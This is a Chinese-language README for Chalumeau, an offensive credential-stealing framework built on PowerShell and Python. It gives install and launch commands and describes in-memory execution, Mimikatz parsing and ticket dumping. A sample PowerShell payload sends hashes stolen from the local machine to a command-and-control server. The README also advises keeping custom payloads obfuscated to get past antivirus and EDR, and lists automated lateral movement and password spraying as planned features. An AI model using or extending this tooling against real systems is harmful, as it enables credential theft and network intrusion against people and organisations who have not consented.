Chalumeau

Chalumeau 是一款基于 PowerShell 和 Python 的自动化、可扩展且可定制的凭据窃取工具。

主要功能

• 编写自己的 Payload
• 内存中执行
• 提取密码列表
• 仪表板报告 / Web 界面
• 解析 Mimikatz
• 转储票据

截图

已知问题

• 解析 Mimikatz dcsync（正在修复）
• 绕过杀毒软件和 EDR，您需要维护自己的 Payload

待办事项

• 加密通信
• 自动横向移动
• 自动密码喷洒
• 自动哈希破解

使用方法

git clone https://github.com/cyberstruggle/chalumeau.git
cd chalumeau/
chmod +x install.sh
sudo ./install.sh

# 运行
chmod +x start.sh

sudo ./start.sh

编写自己的 Payload

混淆自己的 PowerShell Payload 用于窃取凭据，并使用 Chalumeau 函数调用（无需任何导入）。Chalumeau 将加密并与 C2 通信，并发送窃取的凭据。只需将文件保存在 chalumeau-power/payloads 目录下。

• 使用 ChalumeauSendCredentials 函数
  • ChalumeauSendCredentials
    • Secret = 窃取的哈希或明文密码（字符串）
    • Username = 窃取凭据的用户名或 ID（字符串）
    • IsClearText = 1 表示明文，0 表示非明文（整数）
    • Source = 注明来源 Payload，如 "Mimikatz Hash"（字符串）

# 自定义 Payload 示例
# $DumpedHashes 是本地机器上窃取的哈希数组
foreach ($hash in $DumpedHashes){
    ChalumeauSendCredentials -Secret $hash.secret -Username $hash.user -IsClearText 0 -source "My custom payload"
} 

鸣谢

• wazehell 作者
• Invoke-Obfuscation Daniel Bohannon
• Invoke-Mimikatz PowerSploit
• Get-PassHashes nishang
• Chalumeau Logo Aureliano
• Invoke-MassMimikatz PowerTools